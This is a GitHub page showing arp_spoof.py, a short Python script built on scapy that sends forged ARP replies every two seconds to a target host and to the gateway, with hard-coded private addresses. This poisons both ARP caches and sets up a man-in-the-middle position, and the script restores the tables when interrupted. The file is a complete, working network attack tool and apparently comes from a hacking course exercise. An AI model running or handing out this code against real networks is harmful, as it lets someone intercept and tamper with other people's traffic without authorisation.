-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy patharp_spoof.py
More file actions
49 lines (37 loc) · 1.46 KB
/
arp_spoof.py
File metadata and controls
49 lines (37 loc) · 1.46 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python
import scapy.all as scapy
import time
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout = 1, verbose = False)[0]
return answered_list[0][1].hwsrc
# clients_list = []
# for element in answered_list:
# client_dict={"ip": element[1].psrc, "mac": element[1].hwsrc}
# clients_list.append(client_dict)
# return clients_list
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op =2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
def restore(destination_ip, source_ip):
destination_mac = get_mac(destination_ip)
source_mac = get_mac(source_ip)
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
scapy.send(packet, count = 4, verbose = False)
target_ip = "192.168.175.254"
gateway_ip = "192.168.175.2"
try:
sent_packets_count = 0
while True:
spoof(target_ip, gateway_ip)
spoof(gateway_ip, target_ip)
sent_packets_count += 2
print("\r[+] Packets sent: ", sent_packets_count, end="")
time.sleep(2)
except KeyboardInterrupt:
print("\n[+] Detected CTRL + C ..... Resetting ARP tables..... Please Wait.\n")
restore(target_ip, gateway_ip)
restore(gateway_ip, target_ip)